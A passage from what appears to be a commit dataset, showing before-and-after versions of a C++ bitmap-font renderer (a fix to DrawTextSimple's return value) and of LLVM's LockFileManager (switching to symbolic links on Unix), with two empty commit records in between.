   for (int y = 0; y < tr->charHeight; y++)\r\n\t\t{\r\n            int x = 0;\r\n            while (x < tr->maxCharWidth)\r\n            {\r\n                \/\/ Skip blank pixels\r\n                while (!GetPixelFromBuffer(gdiPixels, tr->maxCharWidth, tr->charHeight, x, y))\r\n                {\r\n                    x++;\r\n                    if (x >= tr->maxCharWidth)\r\n                        break;\r\n                }\r\n\r\n                \/\/ Have we got to the end of the line?\r\n                if (x >= tr->maxCharWidth)\r\n                    continue;\r\n\r\n                run->startX = x;\r\n                run->startY = y;\r\n                run->runLen = 0;\r\n\r\n                \/\/ Count non-blank pixels\r\n                while (GetPixelFromBuffer(gdiPixels, tr->maxCharWidth, tr->charHeight, x, y))\r\n                {\r\n                    x++;\r\n                    run->runLen++;\r\n                    if (x >= tr->maxCharWidth)\r\n                        break;\r\n                }\r\n\r\n                run++;\r\n            }\r\n\t\t}\r\n\r\n        \/\/ Create the glyph to store the encoded runs we've made\r\n\t\tGlyph *glyph = new Glyph(glyphSize.cx);\r\n\t\ttr->glyphs[i] = glyph;\r\n\r\n\t\t\/\/ Copy the runs into the glyph\r\n\t\tglyph->m_numRuns = run - tempRuns;\r\n\t\tglyph->m_pixelRuns = new EncodedRun [glyph->m_numRuns];\r\n\t\tmemcpy(glyph->m_pixelRuns, tempRuns, glyph->m_numRuns * sizeof(EncodedRun));\r\n\t}\r\n\r\n\tdelete [] tempRuns;\r\n\r\n\t\/\/ Release the GDI resources\r\n    DeleteDC(winDC);\r\n    DeleteDC(memDC);\r\n\tDeleteObject(fontHandle);\r\n\tDeleteObject(memBmp);\r\n\tDeleteObject(prevBmp);\r\n\r\n    return tr;\r\n}\r\n\r\n\r\nstatic int DrawTextSimpleClipped(DfFont *tr, DfColour col, DfBitmap *bmp, int _x, int y, char const *text)\r\n{\r\n    int x = _x;\r\n    DfColour *startRow = bmp->pixels + y * (int)bmp->width;\r\n    int width = bmp->width;\r\n\r\n    if (y + tr->charHeight < 0 || y > (int)bmp->height)\r\n        return 0;\r\n\r\n    while (*text != '\\0')\r\n    {\r\n        if (x + tr->maxCharWidth > (int)bmp->width)\r\n            break;\r\n\r\n        unsigned char c = *((unsigned char const *)text);\r\n        Glyph *glyph = tr->glyphs[c]; \r\n        EncodedRun *rleBuf = glyph->m_pixelRuns;\r\n        for (int i = 0; i < glyph->m_numRuns; i++)\r\n        {\r\n            int y3 = y + rleBuf->startY;\r\n            if (y3 >= 0 && y3 < (int)bmp->height)\r\n            {\r\n                DfColour *thisRow = startRow + rleBuf->startY * width;\r\n                for (unsigned i = 0; i < rleBuf->runLen; i++)\r\n                {\r\n                    int x3 = x + rleBuf->startX + i;\r\n                    if (x3 >= 0 && x3 < width)\r\n                        thisRow[x3] = col;\r\n                }\r\n            }\r\n            rleBuf++;\r\n        }\r\n\r\n        x += glyph->m_width;\r\n        text++;\r\n    }\r\n\r\n    return _x - x;\r\n}\r\n\r\n\r\nint DrawTextSimple(DfFont *tr, DfColour col, DfBitmap *bmp, int _x, int y, char const *text)\r\n{\r\n    int x = _x;\r\n    int width = bmp->width;\r\n\r\n    if (x < 0 || y < 0 || (y + tr->charHeight) > (int)bmp->height)\r\n        return DrawTextSimpleClipped(tr, col, bmp, _x, y, text);\r\n\r\n    DfColour *startRow = bmp->pixels + y * bmp->width;\r\n    while (*text != '\\0')\r\n    {\r\n        unsigned char c = *((unsigned char const *)text);\r\n        if (x + tr->glyphs[c]->m_width > (int)bmp->width)\r\n            break;\r\n\r\n        \/\/ Copy the glyph onto the stack for better cache performance. This increased the \r\n        \/\/ performance from 13.8 to 14.4 million chars per second. Madness.\r\n        Glyph glyph = *tr->glyphs[(unsigned char)*text]; \r\n        EncodedRun *rleBuf = glyph.m_pixelRuns;\r\n        for (int i = 0; i < glyph.m_numRuns; i++)\r\n        {\r\n            DfColour *startPixel = startRow + rleBuf->startY * width + rleBuf->startX + x;\r\n\r\n            \/\/ Loop unrolled for speed\r\n            switch (rleBuf->runLen)\r\n            {\r\n            case 8: startPixel[7] = col;\r\n            case 7: startPixel[6] = col;\r\n            case 6: startPixel[5] = col;\r\n            case 5: startPixel[4] = col;\r\n            case 4: startPixel[3] = col;\r\n            case 3: startPixel[2] = col;\r\n            case 2: startPixel[1] = col;\r\n            case 1: startPixel[0] = col;\r\n                break;\r\n            default:\r\n                for (unsigned i = 0; i < rleBuf->runLen; i++)\r\n                    startPixel[i] = col;\r\n            }\r\n            rleBuf++;\r\n        }\r\n\r\n        x += glyph.m_width;\r\n        text++;\r\n    }\r\n\r\n    return _x - x;\r\n}\r\n\r\n\r\nint DrawTextLeft(DfFont *tr, DfColour c, DfBitmap *bmp, int x, int y, char const *text, ...)\r\n{\r\n    char buf[512];\r\n    va_list ap;\r\n    va_start(ap, text);\r\n    vsprintf(buf, text, ap);\r\n    return DrawTextSimple(tr, c, bmp, x, y, buf);\r\n}\r\n\r\n\r\nint DrawTextRight(DfFont *tr, DfColour c, DfBitmap *bmp, int x, int y, char const *text, ...)\r\n{\r\n    char buf[512];\r\n    va_list ap;\r\n    va_start(ap, text);\r\n    vsprintf(buf, text, ap);\r\n\r\n    int width = GetTextWidth(tr, buf);\r\n    return DrawTextSimple(tr, c, bmp, x - width, y, buf);\r\n}\r\n\r\n\r\nint DrawTextCentre(DfFont *tr, DfColour c, DfBitmap *bmp, int x, int y, char const *text, ...)\r\n{\r\n    char buf[512];\r\n    va_list ap;\r\n    va_start(ap, text);\r\n    vsprintf(buf, text, ap);\r\n\r\n    int width = GetTextWidth(tr, buf);\r\n    return DrawTextSimple(tr, c, bmp, x - width\/2, y, buf);\r\n}\r\n\r\n\r\nint GetTextWidth(DfFont *tr, char const *text, int len)\r\n{\r\n\tlen = IntMin((int)strlen(text), len);\r\n\tif (tr->fixedWidth)\r\n\t{\r\n\t\treturn len * tr->maxCharWidth;\r\n\t}\r\n\telse\r\n\t{\r\n        int width = 0;\r\n        for (int i = 0; i < len; i++)\r\n            width += tr->glyphs[(int)text[i]]->m_width;\r\n\r\n\t\treturn width;\r\n\t}\r\n}\r\n<commit_msg>Bug fix - DrawTextSimple() returned the wrong result. Also removed a pointless loop-unrolling that didn't make any speed difference when I benchmarked it today (on my i3 NUC, in a MSVC 2013 32-bit build).<commit_after>#include \"df_font.h\"\r\n\r\n#include \"df_bitmap.h\"\r\n#include \"df_common.h\"\r\n\r\n#define WIN32_LEAN_AND_MEAN\r\n#include <windows.h>\r\n\r\n#include <limits.h>\r\n#include <stdarg.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n\r\n\r\n\/\/ ****************************************************************************\r\n\/\/ Glyph\r\n\/\/ ****************************************************************************\r\n\r\ntypedef struct\r\n{\r\n    unsigned startX;\r\n    unsigned startY;\r\n    unsigned runLen;\r\n} EncodedRun;\r\n\r\n\r\nclass Glyph\r\n{\r\npublic:\r\n    unsigned m_width;\r\n    int m_numRuns;\r\n    EncodedRun *m_pixelRuns;\r\n\r\n\tGlyph(int w)\r\n\t{\r\n\t\tm_width = w;\r\n\t}\r\n};\r\n\r\n\r\n\/\/ ****************************************************************************\r\n\/\/ Global variables\r\n\/\/ ****************************************************************************\r\n\r\nDfFont *g_defaultFont = NULL;\r\n\r\n\r\n\/\/ ****************************************************************************\r\n\/\/ Public Functions\r\n\/\/ ****************************************************************************\r\n\r\nstatic bool GetPixelFromBuffer(unsigned *buf, int w, int h, int x, int y)\r\n{\r\n    return buf[(h - y - 1) * w + x] > 0;\r\n}\r\n\r\n\r\nDfFont *FontCreate(char const *fontName, int size, int weight)\r\n{\r\n    if (size < 4 || size > 1000 || weight < 1 || weight > 9)\r\n        return NULL;\r\n\r\n    DfFont *tr = new DfFont;\r\n    memset(tr, 0, sizeof(DfFont));\r\n\r\n    \/\/ Get the font from GDI\r\n    HDC winDC = CreateDC(\"DISPLAY\", NULL, NULL, NULL);\r\n    HDC memDC = CreateCompatibleDC(winDC);\r\n    int scaledSize = -MulDiv(size, GetDeviceCaps(memDC, LOGPIXELSY), 72);\r\n    HFONT fontHandle = CreateFont(scaledSize, 0, 0, 0, weight * 100, false, false, false, \r\n        ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,\r\n        NONANTIALIASED_QUALITY, DEFAULT_PITCH,\r\n        fontName);\r\n    ReleaseAssert(fontHandle != NULL, \"Couldn't find Windows font '%s'\", fontName);\r\n\r\n    \/\/ Ask GDI about the font size and fixed-widthness\r\n    SelectObject(memDC, fontHandle); \r\n    TEXTMETRIC textMetrics;\r\n    GetTextMetrics(memDC, &textMetrics);\r\n    tr->charHeight = textMetrics.tmHeight;\r\n    tr->maxCharWidth = textMetrics.tmMaxCharWidth;\r\n    tr->fixedWidth = (textMetrics.tmAveCharWidth == textMetrics.tmMaxCharWidth);\r\n\r\n    \/\/ Ask GDI about the name of the font\r\n    char nameOfFontWeGot[256];\r\n    GetTextFace(memDC, 256, nameOfFontWeGot);\r\n    ReleaseWarn(strncasecmp(nameOfFontWeGot, fontName, 255) == 0,\r\n        \"Attempt to load font '%s' failed.\\n\"\r\n        \"'%s' will be used instead.\", \r\n        fontName, nameOfFontWeGot);\r\n\r\n    \/\/ Create an off-screen bitmap\r\n    BITMAPINFO bmpInfo = { 0 };\r\n    bmpInfo.bmiHeader.biBitCount = 32;\r\n    bmpInfo.bmiHeader.biHeight = tr->charHeight;\r\n    bmpInfo.bmiHeader.biWidth = tr->maxCharWidth;\r\n    bmpInfo.bmiHeader.biPlanes = 1;\r\n    bmpInfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);\r\n    UINT *gdiPixels = 0;\r\n    HBITMAP memBmp = CreateDIBSection(memDC, (BITMAPINFO *)&bmpInfo, DIB_RGB_COLORS, (void **)&gdiPixels, NULL, 0);\r\n\tHBITMAP prevBmp = (HBITMAP)SelectObject(memDC, memBmp);\r\n\r\n    \/\/ Allocate enough EncodedRuns to store the worst case for a glyph of this size.\r\n    \/\/ Worst case is if the whole glyph is encoded as runs of one pixel. There has\r\n    \/\/ to be a gap of one pixel between each run, so there can only be half as many\r\n    \/\/ runs as there are pixels.\r\n    unsigned tempRunsSize = tr->charHeight * (tr->maxCharWidth \/ 2 + 1);\r\n    EncodedRun *tempRuns = new EncodedRun [tempRunsSize];\r\n\r\n    \/\/ Setup stuff needed to render text with GDI\r\n    SetTextColor(memDC, RGB(255,255,255));\r\n    SetBkColor(memDC, 0);\r\n    RECT rect = { 0, 0, tr->maxCharWidth, tr->charHeight };\r\n\r\n    \/\/ Run-length encode each ASCII character\r\n    for (int i = 0; i < 256; i++)\r\n\t{\r\n        char buf[] = {(char)i};\r\n\r\n        \/\/ Get the size of this glyph\r\n        SIZE glyphSize;\r\n        GetTextExtentPoint32(memDC, buf, 1, &glyphSize);\r\n\/\/         if (glyphSize.cx > tr->maxCharWidth)\r\n\/\/             tr->maxCharWidth = glyphSize.cx;\r\n\/\/         if (glyphSize.cy > tr->charHeight)\r\n\/\/             tr->charHeight = glyphSize.cy;\r\n\r\n        \/\/ Ask GDI to draw the character\r\n\t\tExtTextOut(memDC, 0, 0, ETO_OPAQUE, &rect, buf, 1, 0);\r\n\r\n        \/\/ Read back what GDI put in the bitmap and construct a run-length encoding\r\n\t\tmemset(tempRuns, 0, tempRunsSize);\r\n\t\tEncodedRun *run = tempRuns;\r\n        for (int y = 0; y < tr->charHeight; y++)\r\n\t\t{\r\n            int x = 0;\r\n            while (x < tr->maxCharWidth)\r\n            {\r\n                \/\/ Skip blank pixels\r\n                while (!GetPixelFromBuffer(gdiPixels, tr->maxCharWidth, tr->charHeight, x, y))\r\n                {\r\n                    x++;\r\n                    if (x >= tr->maxCharWidth)\r\n                        break;\r\n                }\r\n\r\n                \/\/ Have we got to the end of the line?\r\n                if (x >= tr->maxCharWidth)\r\n                    continue;\r\n\r\n                run->startX = x;\r\n                run->startY = y;\r\n                run->runLen = 0;\r\n\r\n                \/\/ Count non-blank pixels\r\n                while (GetPixelFromBuffer(gdiPixels, tr->maxCharWidth, tr->charHeight, x, y))\r\n                {\r\n                    x++;\r\n                    run->runLen++;\r\n                    if (x >= tr->maxCharWidth)\r\n                        break;\r\n                }\r\n\r\n                run++;\r\n            }\r\n\t\t}\r\n\r\n        \/\/ Create the glyph to store the encoded runs we've made\r\n\t\tGlyph *glyph = new Glyph(glyphSize.cx);\r\n\t\ttr->glyphs[i] = glyph;\r\n\r\n\t\t\/\/ Copy the runs into the glyph\r\n\t\tglyph->m_numRuns = run - tempRuns;\r\n\t\tglyph->m_pixelRuns = new EncodedRun [glyph->m_numRuns];\r\n\t\tmemcpy(glyph->m_pixelRuns, tempRuns, glyph->m_numRuns * sizeof(EncodedRun));\r\n\t}\r\n\r\n\tdelete [] tempRuns;\r\n\r\n\t\/\/ Release the GDI resources\r\n    DeleteDC(winDC);\r\n    DeleteDC(memDC);\r\n\tDeleteObject(fontHandle);\r\n\tDeleteObject(memBmp);\r\n\tDeleteObject(prevBmp);\r\n\r\n    return tr;\r\n}\r\n\r\n\r\nstatic int DrawTextSimpleClipped(DfFont *tr, DfColour col, DfBitmap *bmp, int _x, int y, char const *text)\r\n{\r\n    int x = _x;\r\n    DfColour *startRow = bmp->pixels + y * (int)bmp->width;\r\n    int width = bmp->width;\r\n\r\n    if (y + tr->charHeight < 0 || y > (int)bmp->height)\r\n        return 0;\r\n\r\n    while (*text != '\\0')\r\n    {\r\n        if (x + tr->maxCharWidth > (int)bmp->width)\r\n            break;\r\n\r\n        unsigned char c = *((unsigned char const *)text);\r\n        Glyph *glyph = tr->glyphs[c]; \r\n        EncodedRun *rleBuf = glyph->m_pixelRuns;\r\n        for (int i = 0; i < glyph->m_numRuns; i++)\r\n        {\r\n            int y3 = y + rleBuf->startY;\r\n            if (y3 >= 0 && y3 < (int)bmp->height)\r\n            {\r\n                DfColour *thisRow = startRow + rleBuf->startY * width;\r\n                for (unsigned i = 0; i < rleBuf->runLen; i++)\r\n                {\r\n                    int x3 = x + rleBuf->startX + i;\r\n                    if (x3 >= 0 && x3 < width)\r\n                        thisRow[x3] = col;\r\n                }\r\n            }\r\n            rleBuf++;\r\n        }\r\n\r\n        x += glyph->m_width;\r\n        text++;\r\n    }\r\n\r\n    return _x - x;\r\n}\r\n\r\n\r\nint DrawTextSimple(DfFont *tr, DfColour col, DfBitmap *bmp, int _x, int y, char const *text)\r\n{\r\n    int x = _x;\r\n    int width = bmp->width;\r\n\r\n    if (x < 0 || y < 0 || (y + tr->charHeight) > (int)bmp->height)\r\n        return DrawTextSimpleClipped(tr, col, bmp, _x, y, text);\r\n\r\n    DfColour *startRow = bmp->pixels + y * bmp->width;\r\n    while (*text != '\\0')\r\n    {\r\n        unsigned char c = *((unsigned char const *)text);\r\n        if (x + tr->glyphs[c]->m_width > (int)bmp->width)\r\n            break;\r\n\r\n        \/\/ Copy the glyph onto the stack for better cache performance. This increased the \r\n        \/\/ performance from 13.8 to 14.4 million chars per second. Madness.\r\n        Glyph glyph = *tr->glyphs[(unsigned char)*text];\r\n        EncodedRun *rleBuf = glyph.m_pixelRuns;\r\n        for (int i = 0; i < glyph.m_numRuns; i++)\r\n        {\r\n            DfColour *startPixel = startRow + rleBuf->startY * width + rleBuf->startX + x;\r\n            for (unsigned i = 0; i < rleBuf->runLen; i++)\r\n                startPixel[i] = col;\r\n            rleBuf++;\r\n        }\r\n\r\n        x += glyph.m_width;\r\n        text++;\r\n    }\r\n\r\n    return x - _x;\r\n}\r\n\r\n\r\nint DrawTextLeft(DfFont *tr, DfColour c, DfBitmap *bmp, int x, int y, char const *text, ...)\r\n{\r\n    char buf[512];\r\n    va_list ap;\r\n    va_start(ap, text);\r\n    vsprintf(buf, text, ap);\r\n    return DrawTextSimple(tr, c, bmp, x, y, buf);\r\n}\r\n\r\n\r\nint DrawTextRight(DfFont *tr, DfColour c, DfBitmap *bmp, int x, int y, char const *text, ...)\r\n{\r\n    char buf[512];\r\n    va_list ap;\r\n    va_start(ap, text);\r\n    vsprintf(buf, text, ap);\r\n\r\n    int width = GetTextWidth(tr, buf);\r\n    return DrawTextSimple(tr, c, bmp, x - width, y, buf);\r\n}\r\n\r\n\r\nint DrawTextCentre(DfFont *tr, DfColour c, DfBitmap *bmp, int x, int y, char const *text, ...)\r\n{\r\n    char buf[512];\r\n    va_list ap;\r\n    va_start(ap, text);\r\n    vsprintf(buf, text, ap);\r\n\r\n    int width = GetTextWidth(tr, buf);\r\n    return DrawTextSimple(tr, c, bmp, x - width\/2, y, buf);\r\n}\r\n\r\n\r\nint GetTextWidth(DfFont *tr, char const *text, int len)\r\n{\r\n\tlen = IntMin((int)strlen(text), len);\r\n\tif (tr->fixedWidth)\r\n\t{\r\n\t\treturn len * tr->maxCharWidth;\r\n\t}\r\n\telse\r\n\t{\r\n        int width = 0;\r\n        for (int i = 0; i < len; i++)\r\n            width += tr->glyphs[(int)text[i]]->m_width;\r\n\r\n\t\treturn width;\r\n\t}\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Layout<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Fold only and all empty HTML tags<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/===--- LockFileManager.cpp - File-level Locking Utility------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#include \"llvm\/Support\/LockFileManager.h\"\n#include \"llvm\/ADT\/STLExtras.h\"\n#include \"llvm\/ADT\/StringExtras.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#if LLVM_ON_WIN32\n#include <windows.h>\n#endif\n#if LLVM_ON_UNIX\n#include <unistd.h>\n#endif\nusing namespace llvm;\n\n\/\/\/ \\brief Attempt to read the lock file with the given name, if it exists.\n\/\/\/\n\/\/\/ \\param LockFileName The name of the lock file to read.\n\/\/\/\n\/\/\/ \\returns The process ID of the process that owns this lock file\nOptional<std::pair<std::string, int> >\nLockFileManager::readLockFile(StringRef LockFileName) {\n  \/\/ Check whether the lock file exists. If not, clearly there's nothing\n  \/\/ to read, so we just return.\n  if (!sys::fs::exists(LockFileName))\n    return None;\n\n  \/\/ Read the owning host and PID out of the lock file. If it appears that the\n  \/\/ owning process is dead, the lock file is invalid.\n  std::unique_ptr<MemoryBuffer> MB;\n  if (MemoryBuffer::getFile(LockFileName, MB))\n    return None;\n\n  StringRef Hostname;\n  StringRef PIDStr;\n  std::tie(Hostname, PIDStr) = getToken(MB->getBuffer(), \" \");\n  PIDStr = PIDStr.substr(PIDStr.find_first_not_of(\" \"));\n  int PID;\n  if (!PIDStr.getAsInteger(10, PID))\n    return std::make_pair(std::string(Hostname), PID);\n\n  \/\/ Delete the lock file. It's invalid anyway.\n  sys::fs::remove(LockFileName);\n  return None;\n}\n\nbool LockFileManager::processStillExecuting(StringRef Hostname, int PID) {\n#if LLVM_ON_UNIX && !defined(__ANDROID__)\n  char MyHostname[256];\n  MyHostname[255] = 0;\n  MyHostname[0] = 0;\n  gethostname(MyHostname, 255);\n  \/\/ Check whether the process is dead. If so, we're done.\n  if (MyHostname == Hostname && getsid(PID) == -1 && errno == ESRCH)\n    return false;\n#endif\n\n  return true;\n}\n\nLockFileManager::LockFileManager(StringRef FileName)\n{\n  this->FileName = FileName;\n  LockFileName = FileName;\n  LockFileName += \".lock\";\n\n  \/\/ If the lock file already exists, don't bother to try to create our own\n  \/\/ lock file; it won't work anyway. Just figure out who owns this lock file.\n  if ((Owner = readLockFile(LockFileName)))\n    return;\n\n  \/\/ Create a lock file that is unique to this instance.\n  UniqueLockFileName = LockFileName;\n  UniqueLockFileName += \"-%%%%%%%%\";\n  int UniqueLockFileID;\n  if (error_code EC\n        = sys::fs::createUniqueFile(UniqueLockFileName.str(),\n                                    UniqueLockFileID,\n                                    UniqueLockFileName)) {\n    Error = EC;\n    return;\n  }\n\n  \/\/ Write our process ID to our unique lock file.\n  {\n    raw_fd_ostream Out(UniqueLockFileID, \/*shouldClose=*\/true);\n\n#if LLVM_ON_UNIX\n    \/\/ FIXME: move getpid() call into LLVM\n    char hostname[256];\n    hostname[255] = 0;\n    hostname[0] = 0;\n    gethostname(hostname, 255);\n    Out << hostname << ' ' << getpid();\n#else\n    Out << \"localhost 1\";\n#endif\n    Out.close();\n\n    if (Out.has_error()) {\n      \/\/ We failed to write out PID, so make up an excuse, remove the\n      \/\/ unique lock file, and fail.\n      Error = make_error_code(errc::no_space_on_device);\n      sys::fs::remove(UniqueLockFileName.c_str());\n      return;\n    }\n  }\n\n  \/\/ Create a hard link from the lock file name. If this succeeds, we're done.\n  error_code EC\n    = sys::fs::create_hard_link(UniqueLockFileName.str(),\n                                      LockFileName.str());\n  if (EC == errc::success)\n    return;\n\n  \/\/ Creating the hard link failed.\n\n#ifdef LLVM_ON_UNIX\n  \/\/ The creation of the hard link may appear to fail, but if stat'ing the\n  \/\/ unique file returns a link count of 2, then we can still declare success.\n  struct stat StatBuf;\n  if (stat(UniqueLockFileName.c_str(), &StatBuf) == 0 &&\n      StatBuf.st_nlink == 2)\n    return;\n#endif\n\n  \/\/ Someone else managed to create the lock file first. Wipe out our unique\n  \/\/ lock file (it's useless now) and read the process ID from the lock file.\n  sys::fs::remove(UniqueLockFileName.str());\n  if ((Owner = readLockFile(LockFileName)))\n    return;\n\n  \/\/ There is a lock file that nobody owns; try to clean it up and report\n  \/\/ an error.\n  sys::fs::remove(LockFileName.str());\n  Error = EC;\n}\n\nLockFileManager::LockFileState LockFileManager::getState() const {\n  if (Owner)\n    return LFS_Shared;\n\n  if (Error)\n    return LFS_Error;\n\n  return LFS_Owned;\n}\n\nLockFileManager::~LockFileManager() {\n  if (getState() != LFS_Owned)\n    return;\n\n  \/\/ Since we own the lock, remove the lock file and our own unique lock file.\n  sys::fs::remove(LockFileName.str());\n  sys::fs::remove(UniqueLockFileName.str());\n}\n\nvoid LockFileManager::waitForUnlock() {\n  if (getState() != LFS_Shared)\n    return;\n\n#if LLVM_ON_WIN32\n  unsigned long Interval = 1;\n#else\n  struct timespec Interval;\n  Interval.tv_sec = 0;\n  Interval.tv_nsec = 1000000;\n#endif\n  \/\/ Don't wait more than five minutes for the file to appear.\n  unsigned MaxSeconds = 300;\n  bool LockFileGone = false;\n  do {\n    \/\/ Sleep for the designated interval, to allow the owning process time to\n    \/\/ finish up and remove the lock file.\n    \/\/ FIXME: Should we hook in to system APIs to get a notification when the\n    \/\/ lock file is deleted?\n#if LLVM_ON_WIN32\n    Sleep(Interval);\n#else\n    nanosleep(&Interval, NULL);\n#endif\n    bool LockFileJustDisappeared = false;\n\n    \/\/ If the lock file is still expected to be there, check whether it still\n    \/\/ is.\n    if (!LockFileGone) {\n      bool Exists;\n      if (!sys::fs::exists(LockFileName.str(), Exists) && !Exists) {\n        LockFileGone = true;\n        LockFileJustDisappeared = true;\n      }\n    }\n\n    \/\/ If the lock file is no longer there, check if the original file is\n    \/\/ available now.\n    if (LockFileGone) {\n      if (sys::fs::exists(FileName.str())) {\n        return;\n      }\n\n      \/\/ The lock file is gone, so now we're waiting for the original file to\n      \/\/ show up. If this just happened, reset our waiting intervals and keep\n      \/\/ waiting.\n      if (LockFileJustDisappeared) {\n        MaxSeconds = 5;\n\n#if LLVM_ON_WIN32\n        Interval = 1;\n#else\n        Interval.tv_sec = 0;\n        Interval.tv_nsec = 1000000;\n#endif\n        continue;\n      }\n    }\n\n    \/\/ If we're looking for the lock file to disappear, but the process\n    \/\/ owning the lock died without cleaning up, just bail out.\n    if (!LockFileGone &&\n        !processStillExecuting((*Owner).first, (*Owner).second)) {\n      return;\n    }\n\n    \/\/ Exponentially increase the time we wait for the lock to be removed.\n#if LLVM_ON_WIN32\n    Interval *= 2;\n#else\n    Interval.tv_sec *= 2;\n    Interval.tv_nsec *= 2;\n    if (Interval.tv_nsec >= 1000000000) {\n      ++Interval.tv_sec;\n      Interval.tv_nsec -= 1000000000;\n    }\n#endif\n  } while (\n#if LLVM_ON_WIN32\n           Interval < MaxSeconds * 1000\n#else\n           Interval.tv_sec < (time_t)MaxSeconds\n#endif\n           );\n\n  \/\/ Give up.\n}\n<commit_msg>[Support\/LockFileManager] Re-apply r203137 and r203138 but use symbolic links only on unix.<commit_after>\/\/===--- LockFileManager.cpp - File-level Locking Utility------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#include \"llvm\/Support\/LockFileManager.h\"\n#include \"llvm\/ADT\/STLExtras.h\"\n#include \"llvm\/ADT\/StringExtras.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#if LLVM_ON_WIN32\n#include <windows.h>\n#endif\n#if LLVM_ON_UNIX\n#include <unistd.h>\n#endif\nusing namespace llvm;\n\n\/\/\/ \\brief Attempt to read the lock file with the given name, if it exists.\n\/\/\/\n\/\/\/ \\param LockFileName The name of the lock file to read.\n\/\/\/\n\/\/\/ \\returns The process ID of the process that owns this lock file\nOptional<std::pair<std::string, int> >\nLockFileManager::readLockFile(StringRef LockFileName) {\n  \/\/ Check whether the lock file exists. If not, clearly there's nothing\n  \/\/ to read, so we just return.\n  if (!sys::fs::exists(LockFileName))\n    return None;\n\n  \/\/ Read the owning host and PID out of the lock file. If it appears that the\n  \/\/ owning process is dead, the lock file is invalid.\n  std::unique_ptr<MemoryBuffer> MB;\n  if (MemoryBuffer::getFile(LockFileName, MB))\n    return None;\n\n  StringRef Hostname;\n  StringRef PIDStr;\n  std::tie(Hostname, PIDStr) = getToken(MB->getBuffer(), \" \");\n  PIDStr = PIDStr.substr(PIDStr.find_first_not_of(\" \"));\n  int PID;\n  if (!PIDStr.getAsInteger(10, PID))\n    return std::make_pair(std::string(Hostname), PID);\n\n  \/\/ Delete the lock file. It's invalid anyway.\n  sys::fs::remove(LockFileName);\n  return None;\n}\n\nbool LockFileManager::processStillExecuting(StringRef Hostname, int PID) {\n#if LLVM_ON_UNIX && !defined(__ANDROID__)\n  char MyHostname[256];\n  MyHostname[255] = 0;\n  MyHostname[0] = 0;\n  gethostname(MyHostname, 255);\n  \/\/ Check whether the process is dead. If so, we're done.\n  if (MyHostname == Hostname && getsid(PID) == -1 && errno == ESRCH)\n    return false;\n#endif\n\n  return true;\n}\n\n#if LLVM_ON_UNIX\nstatic error_code unix_create_symbolic_link(const Twine &to,\n                                            const Twine &from) {\n  \/\/ Get arguments.\n  SmallString<128> from_storage;\n  SmallString<128> to_storage;\n  StringRef f = from.toNullTerminatedStringRef(from_storage);\n  StringRef t = to.toNullTerminatedStringRef(to_storage);\n\n  if (::symlink(t.begin(), f.begin()) == -1)\n    return error_code(errno, system_category());\n\n  return error_code::success();\n}\n#endif\n\nLockFileManager::LockFileManager(StringRef FileName)\n{\n  this->FileName = FileName;\n  LockFileName = FileName;\n  LockFileName += \".lock\";\n\n  \/\/ If the lock file already exists, don't bother to try to create our own\n  \/\/ lock file; it won't work anyway. Just figure out who owns this lock file.\n  if ((Owner = readLockFile(LockFileName)))\n    return;\n\n  \/\/ Create a lock file that is unique to this instance.\n  UniqueLockFileName = LockFileName;\n  UniqueLockFileName += \"-%%%%%%%%\";\n  int UniqueLockFileID;\n  if (error_code EC\n        = sys::fs::createUniqueFile(UniqueLockFileName.str(),\n                                    UniqueLockFileID,\n                                    UniqueLockFileName)) {\n    Error = EC;\n    return;\n  }\n\n  \/\/ Write our process ID to our unique lock file.\n  {\n    raw_fd_ostream Out(UniqueLockFileID, \/*shouldClose=*\/true);\n\n#if LLVM_ON_UNIX\n    \/\/ FIXME: move getpid() call into LLVM\n    char hostname[256];\n    hostname[255] = 0;\n    hostname[0] = 0;\n    gethostname(hostname, 255);\n    Out << hostname << ' ' << getpid();\n#else\n    Out << \"localhost 1\";\n#endif\n    Out.close();\n\n    if (Out.has_error()) {\n      \/\/ We failed to write out PID, so make up an excuse, remove the\n      \/\/ unique lock file, and fail.\n      Error = make_error_code(errc::no_space_on_device);\n      sys::fs::remove(UniqueLockFileName.c_str());\n      return;\n    }\n  }\n\n  while (1) {\n#if LLVM_ON_UNIX\n    \/\/ Create a symbolic link from the lock file name. If this succeeds, we're\n    \/\/ done. Note that we are using symbolic link because hard links are not\n    \/\/ supported by all filesystems.\n    error_code EC\n      = unix_create_symbolic_link(UniqueLockFileName.str(),\n                                        LockFileName.str());\n#else\n    \/\/ We can't use symbolic links for windows.\n    \/\/ Create a hard link from the lock file name. If this succeeds, we're done.\n    error_code EC\n      = sys::fs::create_hard_link(UniqueLockFileName.str(),\n                                        LockFileName.str());\n#endif\n    if (EC == errc::success)\n      return;\n\n    if (EC != errc::file_exists) {\n      Error = EC;\n      return;\n    }\n\n    \/\/ Someone else managed to create the lock file first. Read the process ID\n    \/\/ from the lock file.\n    if ((Owner = readLockFile(LockFileName))) {\n      \/\/ Wipe out our unique lock file (it's useless now)\n      sys::fs::remove(UniqueLockFileName.str());\n      return;\n    }\n\n    if (!sys::fs::exists(LockFileName.str())) {\n      \/\/ The previous owner released the lock file before we could read it.\n      \/\/ Try to get ownership again.\n      continue;\n    }\n\n    \/\/ There is a lock file that nobody owns; try to clean it up and get\n    \/\/ ownership.\n    if ((EC = sys::fs::remove(LockFileName.str()))) {\n      Error = EC;\n      return;\n    }\n  